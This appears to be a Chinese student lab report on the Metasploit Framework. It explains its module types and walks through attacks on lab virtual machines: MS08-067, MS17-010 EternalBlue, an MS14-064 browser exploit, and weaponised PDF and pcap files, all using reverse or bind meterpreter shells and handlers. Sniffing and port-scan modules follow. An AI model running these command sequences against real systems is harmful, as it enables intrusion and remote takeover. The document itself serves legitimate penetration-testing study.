前导知识与原理说明
MSF
-
免费的、可下载的框架
- 通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
- 它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
-
MSF中的六种模块
-
Exploit
模块- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
-
Payload
模块是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
- Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- Stages:利用 stager 建立的连接下载的后续payload
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
-
Encoder
模块- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征 - 不改变
payload
作用,但能对payload
进行加工
- 针对
-
Aux
模块- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
Post
模块- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
-
Nops
模块- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
-
-
MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
- 用自己的话解释什么是exploit,payload,encode?
- exploit是工具,用来连接漏洞,将payload传送到靶机中
- payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码
- encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码
- 离实战还缺些什么技术或步骤?
- 缺乏全面的原理性理解
- 缺乏靶机的配合
- 不同漏洞对于靶机的局限性较大
实践过程
任务一:完成一个主动实践,尽量使用最新的类似漏洞
(一)ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
-
实现:ms08_067
-
攻击机:Kali 192.168.141.130
-
靶机:Windows XP 192.168.141.135
-
payload :
generic/shell_reverse_tcp
-
测试靶机与攻击机之间能否ping通(可以互相ping通,但是一定要关闭Windows XP的防火墙)
-
攻击者使用root权限试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.141.135
-
sudo msfconsole
打开控制台-
search ms08-067
查看漏洞位置 -
use exploit/windows/smb/ms08_067_netapi
选择该漏洞 -
set payload generic/shell_reverse_tcp
设置攻击的载荷 -
set RHOSTS 192.168.141.135
设置靶机IP -
set LHOSTS 192.168.141.130
设置攻击机IP -
exploit
进行攻击
-
(二)ms17_010
-
实现:ms17_010
-
攻击机:Kali 192.168.141.130
-
靶机:Windows 7 x64 192.168.141.140
-
测试靶机与攻击机之间能否ping通(可以互相ping通,但是一定要关闭Windows 7 x64的防火墙)
-
sudo msfconsole
进入控制台 -
通过
search ms17_010
语句搜索漏洞存在的位置 -
use auxiliary/scanner/smb/smb_ms17_010 选择攻击漏洞
-
set RHOSTS 192.168.141.140 设置靶机IP
-
exploit 对靶机扫描,查看是否存在该漏洞并确定目的主机是否可以被攻击。由下方截图表明,目的主机可以被攻击。
-
use exploit/windows/smb/ms17_010_eternalblue 选择该漏洞
-
show options 查看我们需要配置的选项,通过required列可以看到我们需要配置的参数有RHOSTS、RPORT、VERIFY_ARCH、VERIFY_TARGET、EXITFUNC、LHOST、LPORT,除RHOSTS外,其余必须配置的参数均有默认值,所以我们此处只需配置RHOSTS参数即可。
-
set RHOSTS 192.168.141.140
设置靶机IP地址 -
exploit
进行攻击如上图所示,攻击成功!测试攻击,发现输入ipconfig命令后,靶机地址验证正确,验证成功!
任务二:一个针对浏览器的攻击,尽量使用最新的类似漏洞
(一)ms14_064
-
打开windowsXP对浏览器设置一下安全权限。
-
右键IE,打开设置
-
点击菜单栏中的
安全
选项,点击下方的自定义级别
,在对没有标记为安全的ActiveX控件进行初始化和脚本运行
文字下方勾选启用
选项,并点击确定
-
点击菜单栏中的
高级
选项,勾选允许安装软件,即使签名无效
,并点击确定
。
-
-
在Kali虚拟机中输入以下代码:
sudo msfconsole use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set SRVHOST 192.168.141.130 //设置攻方,IP地址为Kali机IP set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效 set LHOST 192.168.141.130 //IP地址为Kali机IP set LPORT 1207//自己的学号 set target 0 //设置winXP靶机 exploit //发起渗透攻击
-
去靶机浏览器中输入URL地址(图中黄色的部分)
-
执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击
-
输入
sessions -i 1
实施攻击,如下图所示,攻击成功!
(二)ms17_010
-
实现:ms17_010
-
攻击机:Kali 192.168.141.130
-
靶机:Microsoft Windows7 IE浏览器
-
kali上输入以下的代码
use exploit/windows/smb/ms17_010_eternalblue //进入该模块 show payloads //显示可用载荷 set payload generic/shell_reverse_tcp set RHOST 192.168.141.140 //设置靶机IP,端口默认为445 set LPORT 1207 //成功后回连主机端口 set LHOST 192.168.141.130 //设置攻击机IP exploit //发起渗透攻击
-
来到靶机IP浏览器,输入
http://kali的IP:监听端口 即(http://192.168.141.130:1207)
链接。 -
回到kali机发现攻击成功!测试截图如下:
任务三:一个针对客户端的攻击,如Adobe或office(尽量使用最新的类似漏洞)
(一)Adobe的攻击方式
-
靶机:Windows XP
-
具体步骤:
msfconsole //进入控制台 search adobe //进行查找 use windows/fileformat/adobe_cooltype_sing //使用漏洞 info //查看漏洞具体信息(重点当然是description) set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set LPORT 1207 //设置端口号 set RHOST 192.168.141.135 //设置靶机IP地址 exploit //攻击
-
此时生成
msf.pdf
,通过sudo -s
命令切换至管理员模式,cd /root/.msf4/local
进入msf文件所在的文件夹,并通过cp msf.pdf /mnt/hgfs/20181207share/
复制到共享文件夹中,再移到windowsXP虚拟机中 -
回到kali中开始监听靶机
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set RHOST 192.168.141.135 //设置靶机IP地址 set LPORT 1207 //设置端口号 exploit //攻击
-
在XP虚拟机中利用Adobe reader打开这个pdf文件。(之后我的XP就死机了,建议重启)
-
回连成功!
(二)攻击方式:WireShark1.4.2
-
靶机:Windows XP
-
具体步骤:
use exploit/windows/fileformat/wireshark_packet_dect set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看设置项 set LHOST 192.168.141.130 //kali IP set LPORT 1207 //设置攻击端口 set FILENAME judy.pcap //设置生成的pcap文件名 exploit //发起攻击
-
此时生成
judy.pcap
,通过sudo -s
命令切换至管理员模式,cd /root/.msf4/local
进入msf文件所在的文件夹,并通过cp judy.pcap /mnt/hgfs/20181207share/
复制到共享文件夹中,再移到windowsXP虚拟机中 -
在kali虚拟机中输入以下代码
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set LHOST 192.168.141.130 //kali IP set LPORT 1207 //设置攻击端口 exploit //监听
-
在靶机中用wireshark打开judy这个文件
-
回到Kali虚拟机,发现攻击成功!
任务四:成功应用任何一个辅助模块
(一)攻击方式:sniffer(嗅探)
-
靶机:Windows XP
-
预期效果:可以使用这个功能来看靶机的浏览记录
-
具体步骤:
search sniff //看一下嗅探的攻击 use auxiliary/sniffer/psnuffle //选择攻击操作 show options exploit
-
然后就去windows xp里访问一个网址,此处我以www.baidu.com为例
-
在kali机中成功捕获到上网的信息
(二)攻击方式:portscan(端口扫描)
-
靶机:Windows XP
-
预期的功能:通过
search portscan
命令搜索相关的端口扫描脚本 -
在kali中输入如下的代码:
search portscan //看看可以扫什么端口 use auxiliary/scanner/portscan/tcp //选择tcp脚本 set Rhosts 192.168.141.135 //设置靶机IP set threads 20 show options //看一下配置文件 run
-
去到靶机中上一下网(这里依然以ww.baidu.com为例)
-
回到kali中查看返回数据(看到了端口开放信息)
实验过程中遇到的问题
-
利用ms08-067漏洞攻击XP虚拟机未成功,可能是因为中文版本的原因。
-
利用ms17-010漏洞攻击XP虚拟机未成功
实验体会
本次实验整体过程是比较愉快的,但令我头痛的地方也有一些,比如说安装的一些版本过老的虚拟机无法开机,难以轻松找到可以成功实现的漏洞与漏洞适用的靶机。本次实验我也愈发意识到,一次成功的攻击是需要靶机一定程度上给予配合的。关于加分项目,我制作的是在win10环境下针对于依托jar包实现序列化与反序列化过程中,字节流可以被攻击者恶意改写的特点,夺取主机shell。